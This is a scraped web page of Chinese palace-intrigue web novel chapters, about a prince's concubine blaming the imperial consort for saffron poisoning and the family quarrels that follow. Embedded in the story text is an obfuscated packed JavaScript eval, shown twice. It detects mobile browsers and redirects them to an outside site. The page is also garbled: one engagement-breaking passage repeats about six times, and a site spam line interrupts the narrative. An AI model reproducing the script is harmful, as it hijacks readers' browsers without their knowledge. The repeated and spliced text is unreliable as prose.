“可是陶大夫刚刚说了你就是食用了大量的藏红花,难不成陶大夫诊断弄错了?” 陶大夫急忙开口。 “这位贵人,你可不要胡说,我行医四十载绝对不可能出现这么低级的错误,我的医术可是整个街上的百姓都能够证明的。” 一旁让陶大夫看个病的百姓都开口。 “陶大夫的医术如果都不行的话,这天底下就没有医术好的大夫了。” “就是啊,之前我的母亲差点病死,全靠陶大夫救命。” 沈安若看着沈安锦。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “你看,大家都在说陶大夫不可能诊断错误,所以锦侧妃,你就是自己食用了藏红花,你不喜欢秦王就不喜欢嘛,承认了我们大家都会帮你的。” 沈安锦只感觉脑子里全是雾霾,一句话脱口而出。 “我没有食用藏红花,我是真心喜欢秦王殿下的,这藏红花一定是今日在宫里的时候被贵妃娘娘下在血燕里面的。” 沈安若听得一脸的震惊。 “天呐,你的意思是高贵妃给你下藏红花。” 反应过来自己说了什么的沈安锦一想到高贵妃居然给自己喝藏红花,干脆破罐子破摔。 “对,就是贵妃娘娘给我下的,我与秦王真心相爱,我怎么可能不想给他生孩子?再说了,我一个孤女,秦王就是我唯一的依靠,有了孩子我才能够在秦王府立足啊!” “可是贵妃娘娘一直对我的出身不满意,上一次高家小姐算计我流产以后,贵妃娘娘偏袒自己的侄女,因为我不愿意去高家道歉,贵妃娘娘就心生不满,故意让我吃了有藏红花的血燕。” 沈安若满眼的震惊。 “天呐,这贵妃娘娘也太过分了,就算再怎么嫌弃锦侧妃的身份,锦侧妃你也是秦王的侧妃啊,是要为秦王开枝散叶的人。” 一边说着,又感觉自己嘴角的笑意实在是压不住,抬起手用手帕挡了挡,用一副同情的语气继续开口。 “唉,说起来也是理解高贵妃的,毕竟高贵妃对高家的侄女那是相当的疼爱,让锦侧妃你给高晚宁道歉也是正常的…………” 沈安锦双手紧紧的掐住手心,满眼的恨意和不甘心。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今日自己一直在御书房帮父皇批阅奏折,又陪着父皇练字,出宫才知道发生了这么大的事情,皇城里闹得沸沸扬扬,都说自己的母妃偏心娘家侄女给锦儿喂了藏红花。 可是走到锦园,就见梨花一下子跪下拦住自己。 “王爷,我家小姐说了,谁也不见。” 商玄启眉头一皱。 “本王也不见?” 梨花低头开口。 “对,我们小姐今日进宫给贵妃娘娘请安,没想到会被害得失去了生育能力,小姐说她本就帮不了王爷什么,如今更是连孩子都为王爷生不了,她觉得自己就是一个废物,谁也不想见?” 商玄启听得叹了一口气。 “她怎么这么傻?” “让开,本王进去看看她。” 梨花闻言抬手抱住秦王的脚。 “王爷,求你不要为难奴婢了,小姐她真的不想见任何人,王爷就让小姐自己一个人静一静吧。” 忽然屋里传来凳子摔倒的声音。 梨花脸上一慌。 急忙爬起来跌跌撞撞的推开门。 “小姐,你怎么……………” 商玄启一眼就看到了沈安锦挂在房梁上,脸上一下子就慌乱了。 急忙飞跃而起,将她抱下来。 “来人,快传大夫。” 梨花扑过去,伸手掐沈安锦的人中。 “小姐,小姐你怎么这么傻啊?” “咱们不是真的无依无靠,咱们还有王爷,王爷一定会护着你的啊。” “小姐,小姐你醒醒,你与王爷好不容易相知相爱,你若是就这么走了,王爷得多难过?” 商玄启也红了眼眶,只感觉自己的心口处传来一阵又一阵的疼痛。 “锦儿,锦儿你怎么这么傻?” “你醒醒啊,都是本王不好,是本王没有保护好你,你快点醒过来,你说想要怎么样?本王就照办好不好?” “锦儿…………” 沈安锦在二人的千呼万唤下终于醒了过来。 “王爷…………” 随即仰头,眼泪从眼角滚落下来,心如死灰的开口。 “王爷你又救了我?” “为什么呢?” “我这么一个一无是处的废物,哪里值得王爷你一次又一次的相救?” 商玄启急忙开口安抚她。 “本王不许你这么说自己,本王所认识的锦儿就是这全 天下最好的女子。” 说着将沈安锦抱去床上。 “锦儿,你是本王的侧妃,是要与本王过一辈子的人,本王不允许你再做任何的傻事。” 沈安锦苦笑着,偏偏满脸的泪痕,好不可怜。 “可是我生不了孩子了!” “我没有用了,我什么都帮不了你,都是我不好,高晚宁是贵妃娘娘最疼爱的侄女,我应该主动跪下道歉的。” “就算不是我的错又如何?我一个无依无靠的孤女,本就是任人拿捏的,是我自己看不清形势。” 商玄启看着她确认道。 “真的是母妃做的吗?” 沈安锦无助的掉着眼泪。 “锦儿还能骗王爷不成?我知道不能怪贵妃娘娘,只能怪锦儿身份低微…………” “王爷,你不该救锦儿的,贵妃娘娘不喜欢我,我也不想王也为难,只要我**,王爷也不用陷入两难的境地。” 商玄启看着沈安锦那绝望又无助的模样,心如刀绞,他紧紧握住沈安锦的手。 “锦儿,莫要再说这般傻话。你若**,本王才是真的被推入了万丈深渊。藏红花之事,本王定会查个水落石出,给你一个公道。” 沈安锦微微摇头,泪水依旧止不住地流淌:“王爷不必再查了,我今日进宫之前一直好好的,贵妃娘娘责骂我一番又吩咐我去给高小姐道歉,赏了一碗血燕以后我就当街见血了,这其中种种,王爷觉得还需要查吗?” 秦王听得眼里带着一抹愧疚。 “锦儿,我明日就进宫见母妃!” 沈安锦闻言偏头心如死灰般的淌着眼泪。 “王爷,你不用为了锦儿跟贵妃娘娘争吵,锦儿不愿意你为难的。” 秦王听了心疼的伸手为她擦拭掉脸上的泪痕。 “锦儿,你就是太懂事了。” “懂事得让本王心疼,你放心,你是本王的侧妃,本王就一定会护你周全,绝对不会允许任何人欺负你,哪怕是母妃也不可以。” 等的就是这一句话,沈安锦伸手拉住秦王的手摸着自己的脸,滚烫的眼泪,一颗又一颗的滚进秦王的手心。 “殿下,没有你锦儿可怎么办啊?” “锦儿只有你了啊殿下!” 秦王抬手擦拭着她脸上的泪痕,一脸坚定的保证着。 “你安心的养好身子,本王会护着你的周全。” 而此时皇城里早就传开了,高贵妃为了维护自己家的侄女,逼锦侧妃道歉,锦侧妃因为 不愿意低头,被赐了藏红花,当街大出血,以后子嗣艰难。 更有谣言在传高家嫡出小姐高晚宁仗势欺人,欺负孤女,因爱生恨嫉妒秦王宠爱沈安锦,涉及害的沈安锦流产。 高家。 礼部尚书夫人周容氏看着高夫人一脸歉意的开口。 “高夫人,前两日我去烧香,高僧说周家今年不宜操办喜事,为不耽误高小姐的婚事,咱们之前约定的婚事就算了吧。” “也还好,咱们两家商议婚事并未大张旗鼓的,外人也不知道,这也不会给高小姐的名声带来任何的损失。” 高夫人听得脸色一沉,自己也是一早才知道外面的谣言,正准备出手压制,没想到周夫人就来了。 “周夫人,你我认识多年,咱们两家也算是世交,这有一些话我们就不必拐弯抹角的了。” “前几日,周夫人还在夸赞我们晚年乖巧懂事,今日就上门说婚事算了,看来周夫人也是相信了外面那些不符合实际的谣言。” 周夫人闻言尴尬的开口。 “高夫人,高小姐也算是我看着长大的,自然是相信婉宁的,可高僧说了,周家的确今年不适合办大喜之事,不然与我儿的仕途犯冲,还望高夫人海涵。” “等到高小姐寻到了良缘,周家也会为高小姐添上一份嫁妆。” 高夫人的脸色又沉了几分。 “我高家女儿出嫁嫁妆,高家自会准备齐全,若是周夫人真的担心今年不宜办婚事,那咱们就将婚事先定下来,等到明年再办就是。” 周夫人面露难色,犹豫片刻后还是摇了摇头。 “高夫人,并非我周家有意推脱,实在是那高僧的话让我心中惶恐。我儿马上要参加春闱了,若因这婚事出了差错,我实在难以向周家列祖列宗交代,咱们都是当母亲的,还希望高夫人能够体谅一二。” 高夫人冷笑一声,眼神中透露出几分不悦。 “周夫人,不过是之前咱们坐在一起喝茶,说的一句玩笑话罢了,今日倒是还劳烦周夫人又跑了一趟,竟然话都到了这个份上,这件事情就此作罢吧,以后咱们两家桥归桥,路归路。” 这是要两家就此**啊,周夫人无奈的起身福了福身。 “今日打扰高夫人了。” 随即看着高夫人叹了一口气。 “唉,高夫人,整个皇城谁人不知高夫人的贤惠,高小姐是高夫人从小教养长大的,不论是谁将来娶高小姐为妻都是他的福气,错过与高家结亲,是我们周家没有福气。” “高小姐与秦王殿下青梅竹马,若是将来真的成就了一桩好姻缘,还希望高夫人能够给周家送一份请帖,到时候我这个做长辈的也好给高小姐准备一份礼物。” 说完这才再次福身。 “就先告辞了。” 待周夫人一走出去。 高夫人手里的茶杯啪的一下砸在地上。 高晚宁红着眼睛从屏风上走了出来。 “母亲!” 不愿意低头,被赐了藏红花,当街大出血,以后子嗣艰难。 更有谣言在传高家嫡出小姐高晚宁仗势欺人,欺负孤女,因爱生恨嫉妒秦王宠爱沈安锦,涉及害的沈安锦流产。 高家。 礼部尚书夫人周容氏看着高夫人一脸歉意的开口。 “高夫人,前两日我去烧香,高僧说周家今年不宜操办喜事,为不耽误高小姐的婚事,咱们之前约定的婚事就算了吧。” “也还好,咱们两家商议婚事并未大张旗鼓的,外人也不知道,这也不会给高小姐的名声带来任何的损失。” 高夫人听得脸色一沉,自己也是一早才知道外面的谣言,正准备出手压制,没想到周夫人就来了。 “周夫人,你我认识多年,咱们两家也算是世交,这有一些话我们就不必拐弯抹角的了。” “前几日,周夫人还在夸赞我们晚年乖巧懂事,今日就上门说婚事算了,看来周夫人也是相信了外面那些不符合实际的谣言。” 周夫人闻言尴尬的开口。 “高夫人,高小姐也算是我看着长大的,自然是相信婉宁的,可高僧说了,周家的确今年不适合办大喜之事,不然与我儿的仕途犯冲,还望高夫人海涵。” “等到高小姐寻到了良缘,周家也会为高小姐添上一份嫁妆。” 高夫人的脸色又沉了几分。 “我高家女儿出嫁嫁妆,高家自会准备齐全,若是周夫人真的担心今年不宜办婚事,那咱们就将婚事先定下来,等到明年再办就是。” 周夫人面露难色,犹豫片刻后还是摇了摇头。 “高夫人,并非我周家有意推脱,实在是那高僧的话让我心中惶恐。我儿马上要参加春闱了,若因这婚事出了差错,我实在难以向周家列祖列宗交代,咱们都是当母亲的,还希望高夫人能够体谅一二。” 高夫人冷笑一声,眼神中透露出几分不悦。 “周夫人,不过是之前咱们坐在一起喝茶,说的一句玩笑话罢了,今日倒是还劳烦周夫人又跑了一趟,竟然话都到了这个份上,这件事情就此作罢吧,以后咱们两家桥归桥,路归路。” 这是要两家就此**啊,周夫人无奈的起身福了福身。 “今日打扰高夫人了。” 随即看着高夫人叹了一口气。 “唉,高夫人,整个皇城谁人不知高夫人的贤惠,高小姐是高夫人从小教养长大的,不论是谁将来娶高小姐为妻都是他的福气,错过与高家结亲,是我们周家没有福气。” “高小姐与秦王殿下青梅竹马,若是将来真的成就了一桩好姻缘,还希望高夫人能够给周家送一份请帖,到时候我这个做长辈的也好给高小姐准备一份礼物。” 说完这才再次福身。 “就先告辞了。” 待周夫人一走出去。 高夫人手里的茶杯啪的一下砸在地上。 高晚宁红着眼睛从屏风上走了出来。 “母亲!” 不愿意低头,被赐了藏红花,当街大出血,以后子嗣艰难。 更有谣言在传高家嫡出小姐高晚宁仗势欺人,欺负孤女,因爱生恨嫉妒秦王宠爱沈安锦,涉及害的沈安锦流产。 高家。 礼部尚书夫人周容氏看着高夫人一脸歉意的开口。 “高夫人,前两日我去烧香,高僧说周家今年不宜操办喜事,为不耽误高小姐的婚事,咱们之前约定的婚事就算了吧。” “也还好,咱们两家商议婚事并未大张旗鼓的,外人也不知道,这也不会给高小姐的名声带来任何的损失。” 高夫人听得脸色一沉,自己也是一早才知道外面的谣言,正准备出手压制,没想到周夫人就来了。 “周夫人,你我认识多年,咱们两家也算是世交,这有一些话我们就不必拐弯抹角的了。” “前几日,周夫人还在夸赞我们晚年乖巧懂事,今日就上门说婚事算了,看来周夫人也是相信了外面那些不符合实际的谣言。” 周夫人闻言尴尬的开口。 “高夫人,高小姐也算是我看着长大的,自然是相信婉宁的,可高僧说了,周家的确今年不适合办大喜之事,不然与我儿的仕途犯冲,还望高夫人海涵。” “等到高小姐寻到了良缘,周家也会为高小姐添上一份嫁妆。” 高夫人的脸色又沉了几分。 “我高家女儿出嫁嫁妆,高家自会准备齐全,若是周夫人真的担心今年不宜办婚事,那咱们就将婚事先定下来,等到明年再办就是。” 周夫人面露难色,犹豫片刻后还是摇了摇头。 “高夫人,并非我周家有意推脱,实在是那高僧的话让我心中惶恐。我儿马上要参加春闱了,若因这婚事出了差错,我实在难以向周家列祖列宗交代,咱们都是当母亲的,还希望高夫人能够体谅一二。” 高夫人冷笑一声,眼神中透露出几分不悦。 “周夫人,不过是之前咱们坐在一起喝茶,说的一句玩笑话罢了,今日倒是还劳烦周夫人又跑了一趟,竟然话都到了这个份上,这件事情就此作罢吧,以后咱们两家桥归桥,路归路。” 这是要两家就此**啊,周夫人无奈的起身福了福身。 “今日打扰高夫人了。” 随即看着高夫人叹了一口气。 “唉,高夫人,整个皇城谁人不知高夫人的贤惠,高小姐是高夫人从小教养长大的,不论是谁将来娶高小姐为妻都是他的福气,错过与高家结亲,是我们周家没有福气。” “高小姐与秦王殿下青梅竹马,若是将来真的成就了一桩好姻缘,还希望高夫人能够给周家送一份请帖,到时候我这个做长辈的也好给高小姐准备一份礼物。” 说完这才再次福身。 “就先告辞了。” 待周夫人一走出去。 高夫人手里的茶杯啪的一下砸在地上。 高晚宁红着眼睛从屏风上走了出来。 “母亲!” 不愿意低头,被赐了藏红花,当街大出血,以后子嗣艰难。 更有谣言在传高家嫡出小姐高晚宁仗势欺人,欺负孤女,因爱生恨嫉妒秦王宠爱沈安锦,涉及害的沈安锦流产。 高家。 礼部尚书夫人周容氏看着高夫人一脸歉意的开口。 “高夫人,前两日我去烧香,高僧说周家今年不宜操办喜事,为不耽误高小姐的婚事,咱们之前约定的婚事就算了吧。” “也还好,咱们两家商议婚事并未大张旗鼓的,外人也不知道,这也不会给高小姐的名声带来任何的损失。” 高夫人听得脸色一沉,自己也是一早才知道外面的谣言,正准备出手压制,没想到周夫人就来了。 “周夫人,你我认识多年,咱们两家也算是世交,这有一些话我们就不必拐弯抹角的了。” “前几日,周夫人还在夸赞我们晚年乖巧懂事,今日就上门说婚事算了,看来周夫人也是相信了外面那些不符合实际的谣言。” 周夫人闻言尴尬的开口。 “高夫人,高小姐也算是我看着长大的,自然是相信婉宁的,可高僧说了,周家的确今年不适合办大喜之事,不然与我儿的仕途犯冲,还望高夫人海涵。” “等到高小姐寻到了良缘,周家也会为高小姐添上一份嫁妆。” 高夫人的脸色又沉了几分。 “我高家女儿出嫁嫁妆,高家自会准备齐全,若是周夫人真的担心今年不宜办婚事,那咱们就将婚事先定下来,等到明年再办就是。” 周夫人面露难色,犹豫片刻后还是摇了摇头。 “高夫人,并非我周家有意推脱,实在是那高僧的话让我心中惶恐。我儿马上要参加春闱了,若因这婚事出了差错,我实在难以向周家列祖列宗交代,咱们都是当母亲的,还希望高夫人能够体谅一二。” 高夫人冷笑一声,眼神中透露出几分不悦。 “周夫人,不过是之前咱们坐在一起喝茶,说的一句玩笑话罢了,今日倒是还劳烦周夫人又跑了一趟,竟然话都到了这个份上,这件事情就此作罢吧,以后咱们两家桥归桥,路归路。” 这是要两家就此**啊,周夫人无奈的起身福了福身。 “今日打扰高夫人了。” 随即看着高夫人叹了一口气。 “唉,高夫人,整个皇城谁人不知高夫人的贤惠,高小姐是高夫人从小教养长大的,不论是谁将来娶高小姐为妻都是他的福气,错过与高家结亲,是我们周家没有福气。” “高小姐与秦王殿下青梅竹马,若是将来真的成就了一桩好姻缘,还希望高夫人能够给周家送一份请帖,到时候我这个做长辈的也好给高小姐准备一份礼物。” 说完这才再次福身。 “就先告辞了。” 待周夫人一走出去。 高夫人手里的茶杯啪的一下砸在地上。 高晚宁红着眼睛从屏风上走了出来。 “母亲!” 不愿意低头,被赐了藏红花,当街大出血,以后子嗣艰难。 更有谣言在传高家嫡出小姐高晚宁仗势欺人,欺负孤女,因爱生恨嫉妒秦王宠爱沈安锦,涉及害的沈安锦流产。 高家。 礼部尚书夫人周容氏看着 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“我高家女儿出嫁嫁妆,高家自会准备齐全,若是周夫人真的担心今年不宜办婚事,那咱们就将婚事先定下来,等到明年再办就是。” 周夫人面露难色,犹豫片刻后还是摇了摇头。 “高夫人,并非我周家有意推脱,实在是那高僧的话让我心中惶恐。我儿马上要参加春闱了,若因这婚事出了差错,我实在难以向周家列祖列宗交代,咱们都是当母亲的,还希望高夫人能够体谅一二。” 高夫人冷笑一声,眼神中透露出几分不悦。 “周夫人,不过是之前咱们坐在一起喝茶,说的一句玩笑话罢了,今日倒是还劳烦周夫人又跑了一趟,竟然话都到了这个份上,这件事情就此作罢吧,以后咱们两家桥归桥,路归路。” 这是要两家就此**啊,周夫人无奈的起身福了福身。 “今日打扰高夫人了。” 随即看着高夫人叹了一口气。 “唉,高夫人,整个皇城谁人不知高夫人的贤惠,高小姐是高夫人从小教养长大的,不论是谁将来娶高小姐为妻都是他的福气,错过与高家结亲,是我们周家没有福气。” “高小姐与秦王殿下青梅竹马,若是将来真的成就了一桩好姻缘,还希望高夫人能够给周家送一份请帖,到时候我这个做长辈的也好给高小姐准备一份礼物。” 说完这才再次福身。 “就先告辞了。” 待周夫人一走出去。 高夫人手里的茶杯啪的一下砸在地上。 高晚宁红着眼睛从屏风上走了出来。 “母亲!” 不愿意低头,被赐了藏红花,当街大出血,以后子嗣艰难。 更有谣言在传高家嫡出小姐高晚宁仗势欺人,欺负孤女,因爱生恨嫉妒秦王宠爱沈安锦,涉及害的沈安锦流产。 高家。 礼部尚书夫人周容氏看着高夫人一脸歉意的开口。 “高夫人,前两日我去烧香,高僧说周家今年不宜操办喜事,为不耽误高小姐的婚事,咱们之前约定的婚事就算了吧。” “也还好,咱们两家商议婚事并未大张旗鼓的,外人也不知道,这也不会给高小姐的名声带来任何的损失。” 高夫人听得脸色一沉,自己也是一早才知道外面的谣言,正准备出手压制,没想到周夫人就来了。 “周夫人,你我认识多年,咱们两家也算是世交,这有一些话我们就不必拐弯抹角的了。” “前几日,周夫人还在夸赞我们晚年乖巧懂事,今日就上门说婚事算了,看来周夫人也是相信了外面那些不符合实际的谣言。” 周夫人闻言尴尬的开口。 “高夫人,高小姐也算是我看着长大的,自然是相信婉宁的,可高僧说了,周家的确今年不适合办大喜之事,不然与我儿的仕途犯冲,还望高夫人海涵。” “等到高小姐寻到了良缘,周家也会为高小姐添上一份嫁妆。” 高夫人的脸色又沉了几分。 “我高家女儿出嫁嫁妆,高家自会准备齐全,若是周夫人真的担心今年不宜办婚事,那咱们就将婚事先定下来,等到明年再办就是。” 周夫人面露难色,犹豫片刻后还是摇了摇头。 “高夫人,并非我周家有意推脱,实在是那高僧的话让我心中惶恐。我儿马上要参加春闱了,若因这婚事出了差错,我实在难以向周家列祖列宗交代,咱们都是当母亲的,还希望高夫人能够体谅一二。” 高夫人冷笑一声,眼神中透露出几分不悦。 “周夫人,不过是之前咱们坐在一起喝茶,说的一句玩笑话罢了,今日倒是还劳烦周夫人又跑了一趟,竟然话都到了这个份上,这件事情就此作罢吧,以后咱们两家桥归桥,路归路。” 这是要两家就此**啊,周夫人无奈的起身福了福身。 “今日打扰高夫人了。” 随即看着高夫人叹了一口气。 “唉,高夫人,整个皇城谁人不知高夫人的贤惠,高小姐是高夫人从小教养长大的,不论是谁将来娶高小姐为妻都是他的福气,错过与高家结亲,是我们周家没有福气。” “高小姐与秦王殿下青梅竹马,若是将来真的成就了一桩好姻缘,还希望高夫人能够给周家送一份请帖,到时候我这个做长辈的也好给高小姐准备一份礼物。” 说完这才再次福身。 “就先告辞了。” 待周夫人一走出去。 高夫人手里的茶杯啪的一下砸在地上。 高晚宁红着眼睛从屏风上走了出来。 “母亲!” 不愿意低头,被赐了藏红花,当街大出血,以后子嗣艰难。 更有谣言在传高家嫡出小姐高晚宁仗势欺人,欺负孤女,因爱生恨嫉妒秦王宠爱沈安锦,涉及害的沈安锦流产。 高家。 礼部尚书夫人周容氏看着高夫人一脸歉意的开口。 “高夫人,前两日我去烧香,高僧说周家今年不宜操办喜事,为不耽误高小姐的婚事,咱们之前约定的婚事就算了吧。” “也还好,咱们两家商议婚事并未大张旗鼓的,外人也不知道,这也不会给高小姐的名声带来任何的损失。” 高夫人听得脸色一沉,自己也是一早才知道外面的谣言,正准备出手压制,没想到周夫人就来了。 “周夫人,你我认识多年,咱们两家也算是世交,这有一些话我们就不必拐弯抹角的了。” “前几日,周夫人还在夸赞我们晚年乖巧懂事,今日就上门说婚事算了,看来周夫人也是相信了外面那些不符合实际的谣言。” 周夫人闻言尴尬的开口。 “高夫人,高小姐也算是我看着长大的,自然是相信婉宁的,可高僧说了,周家的确今年不适合办大喜之事,不然与我儿的仕途犯冲,还望高夫人海涵。” “等到高小姐寻到了良缘,周家也会为高小姐添上一份嫁妆。” 高夫人的脸色又沉了几分。 “我高家女儿出嫁嫁妆,高家自会准备齐全,若是周夫人真的担心今年不宜办婚事,那咱们就将婚事先定下来,等到明年再办就是。” 周夫人面露难色,犹豫片刻后还是摇了摇头。 “高夫人,并非我周家有意推脱,实在是那高僧的话让我心中惶恐。我儿马上要参加春闱了,若因这婚事出了差错,我实在难以向周家列祖列宗交代,咱们都是当母亲的,还希望高夫人能够体谅一二。” 高夫人冷笑一声,眼神中透露出几分不悦。 “周夫人,不过是之前咱们坐在一起喝茶,说的一句玩笑话罢了,今日倒是还劳烦周夫人又跑了一趟,竟然话都到了这个份上,这件事情就此作罢吧,以后咱们两家桥归桥,路归路。” 这是要两家就此**啊,周夫人无奈的起身福了福身。 “今日打扰高夫人了。” 随即看着高夫人叹了一口气。 “唉,高夫人,整个皇城谁人不知高夫人的贤惠,高小姐是高夫人从小教养长大的,不论是谁将来娶高小姐为妻都是他的福气,错过与高家结亲,是我们周家没有福气。” “高小姐与秦王殿下青梅竹马,若是将来真的成就了一桩好姻缘,还希望高夫人能够给周家送一份请帖,到时候我这个做长辈的也好给高小姐准备一份礼物。” 说完这才再次福身。 “就先告辞了。” 待周夫人一走出去。 高夫人手里的茶杯啪的一下砸在地上。 高晚宁红着眼睛从屏风上走了出来。 “母亲!” 第一百三十七 气晕了 高夫人看着高晚宁急忙上前拉住她的手。 “晚宁,你不要难过,母亲从新给你选一门婚事。” 高晚宁却掉着眼泪摇头。 “母亲,不用操心了,女儿不嫁了。” 看着高晚宁眼睛通红的模样,高夫人心疼的拉着她在一旁坐下。 “晚宁,莫要说傻话,周家不要这一门亲事是周家的损失,母亲会再给你寻一门更好的婚事,到时候就让周家后悔去吧。” 高晚宁闻言看着高夫人开口。 “母亲,我现在的名声已经毁了,门第好的人家哪里会要我这种名声尽毁的姑娘,更何况…………” 说着低下了头,眼泪滚落了下来。 “刚刚周夫人的意思,周家退婚最主要的不是因为外面的那些谣言,而是因为周家觉得我与秦王…………秦王本就得皇上宠爱,谁敢跟秦王挣?” 刚刚周夫人的意思自己又何尝没有听明白,高夫人眼里闪过一抹戾气。 “这个沈安锦还真是一个祸害,明明你与秦王之间清清白白,偏偏因为她那张嘴说得…………” 自己与沈安锦无冤无仇,偏偏害自己至此,一个女子的名声多重要她同为女子又如何不清楚?这种人不过就是又蠢又坏罢了,高晚宁抬头闭上眼睛。 “母亲,我要沈安锦死。” 翊坤宫。 高贵妃看着急匆匆走进来的秦王。 “启儿你来了。” 秦王冷着脸行礼。 “母妃。” 然后抬头看着高贵妃,语气里面带着几分质问。 “母妃,儿臣今日来就想问母亲一句话,锦儿食用了大量的藏红花,以后再难生育,是不是母妃你的手笔?” 看着秦王这般的态度,高贵妃脸上的笑意一下子收敛了起来。 “你这是在质疑母妃?” “启儿,不过就是一个孤女罢了,你怎么还质问上母妃了?” 自己的母妃自己了解,见高贵妃这个态度真相已经明确了,商玄启眼里都是失望。 “母妃,儿臣知晓你一向手段狠辣,可也没有想到会如此的恶毒,锦儿可是儿臣的侧妃,是你的儿媳妇,你就为了给你侄女出气,就让她绝嗣,母妃是想儿臣也绝嗣吗?” 狠辣,恶毒?高贵妃眼里都是震惊,怎么也没想到这些词会被自己的儿子拿来形容自己。 “你说什么?商玄启,你说你的母妃恶毒?” 秋嬷嬷急忙开口。 “殿下, 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 你怎么能这么说娘娘呢?这些年娘娘为了你一步步谋划,殚精竭虑无一不是为了殿下,殿下小时候高烧不退娘娘抱着一天一夜不合眼,等殿下好了,娘娘却病倒了,你这样说话,实在是太伤娘娘的心了。” 商玄启已反应过来自己冲动之下说了什么,眼里闪过一抹歉意。 “母妃,是儿子冲动了。” “可锦儿何其无辜,她本就身世坎坷,好不容易才有了儿臣作为依靠,母妃你就算不护着她,哪怕是看在儿子的面子上,也不应该伤害她。” 高贵妃气得浑身发抖,手指着商玄启,声音颤抖。 “好啊,你如今翅膀硬了,敢来教训母妃了。那沈安锦不过是个狐媚子,勾得你神魂颠倒,连是非对错都分不清了。她若安分守己,本宫又怎么会容不下她?” 商玄启深吸一口气,努力让自己镇定下来,缓缓说道。 “母妃,锦儿从未有过非分之想,她只是渴望一份安稳的生活。儿臣与她两情相悦,还请母妃以后不要再插手儿臣的私事。” “另外,母妃既然是为了晚宁给锦儿吃藏红花让她不能生育,那就让晚宁进府当侍妾,生下一个孩子给锦儿养。” 高贵妃听到商玄启这话,怒极反笑,眼神中满是难以置信与愤怒。 “商玄启,你竟说出如此荒唐之语!让晚宁进府当侍妾,还生个孩子给那狐媚子养,你这是要将晚宁置于何地,将高家的脸面往何处搁?” 商玄启神色坚定,想到沈安锦挂在房梁上的一幕时那心痛的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229320|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼里毫无退缩之意。 “母妃,锦儿已然受到如此伤害,儿臣必须给她一个交代,如此安排,既能弥补锦儿,也算是对晚宁的一种安置。” 高贵妃气得猛地一拍桌子,茶盏都跟着晃动起来。 “我看你简直就是疯,晚宁堂堂高家嫡女,岂能屈居一个孤女之下当个侍妾?你简直就是被那女人迷了心智,连基本的是非都不分了!” 商玄启眉头紧皱,正欲再次开口,秋嬷嬷赶忙上前,轻声劝道。 “殿下,娘娘如今正在气头上,您且先别急着争辩。娘娘一心为您,所作所为皆是为您的前途着想,您这般与娘娘对峙,只会伤了母子情分呐。” 商玄启看着气得浑身发抖的母妃,心中虽有不忍,但想到沈安锦那绝望又无助的眼神,还是硬着头皮说道。 “母妃,儿臣知道您为儿臣操心,可儿臣真的不能眼睁睁看着锦儿受此委屈。她已然失去了做母亲的权利,若儿臣再不护着她,儿臣于心何安?” 高贵妃冷笑一声。 “于心何安?那你如此作贱高家你又于心何安?这些年以来,高家为你付出了多少?你就如此对待高家的姑娘的?” “沈安锦身份低微,心术不正,根本就不适合留在你的身边,你若是以后还想坐上那个位置,你就自己处理了她。” 商玄启面色一沉。 “母妃,我绝对不会让任何人伤害锦儿,包括你。” “我知道母妃你心里想的都是高家的颜面,今日儿臣就把话放在这里,锦儿若是少了一根头发,儿臣就在你最疼爱的侄女身上讨回来。” 听着商玄启威胁的话,高贵妃气的站起来,又感觉两眼一黑,伸手扶着自己的脑袋,另外一只手指着商玄启。 “本宫怎么生了你这么一个蠢货……………” 人朝一旁倒去。 秋嬷嬷见状眼疾手快的接住高贵妃,脸色慌乱。 “娘娘………娘娘你怎么了…………来人啊…………” 见高贵妃晕倒,商玄启也慌了。 “母妃……………” 第一百三十八章 进宫请安 太子府。 一想到沈安锦以后不能生育沈安若这心情就好了不少,亲自下厨做了菜。 一边端菜上桌子一边笑着开口。 “去看看太子怎么还没有回来用膳?” 此话一落。 门口就响起商玄澈的声音。 “看来若若这是想我了。” 沈安若抬头看着商玄澈走进来,快步走上前。 “玄澈,你回来啦,今天这一桌子菜,可是我亲自下厨做的,你等一下可要多吃一些。” 商玄澈握住她的手朝桌子边走去。 “若若亲自下厨,我肯定会多吃一些。” “不过你今日怎么如此开心?可否分享给我?” 沈安若听了也毫不避讳。 “自然是沈安锦倒霉我就开心了。” 商玄澈看着她宠溺的一笑。 “那我再告诉你一个好消息。” 说着扶沈安若安若坐下。 然后自己坐在一旁。 “宫里面传来了消息,今日秦王下早朝以后就去了翊坤宫,与高贵妃大吵了一架,高贵妃被气的晕了过去,还传了太医。” 沈安若眼里满是吃瓜的意味。 “吵得这么凶吗?” “看来这秦王对沈安锦还真是真爱啊。” “还有别的消息吗?” 看着沈安若迫不及待的眼神,商玄澈继续开口。 “就知道你感兴趣,我让人打听了一番,秦王先是质问高贵妃藏红花的事情,然后又说要纳高晚宁当妾,让高晚宁生了孩子养在沈安锦名下,高贵妃气得当场就晕了过去。” 沈安若听得两眼发光,高家嫡女当妾? “这么劲爆的吗?” “这绝对是真爱。” 商玄澈看着她这样,笑了笑,随即开口。 “我都好奇了,这沈安锦到底是有什么魅力,根据消息,自从沈安锦与秦王好了以后,秦王就只守着她一人。” 沈安若闻言缓缓开口。 “自然是因为情蛊,不然就秦王的性子,也不可能对沈安锦痴迷如此。” 商玄澈看着沈安若。 “情蛊?” 沈安若点了点头。 “对,沈安锦身边有一个巫女,要不是发现秦王中了情蛊,这沈安锦还能利用一下,我早就该弄死她了。” 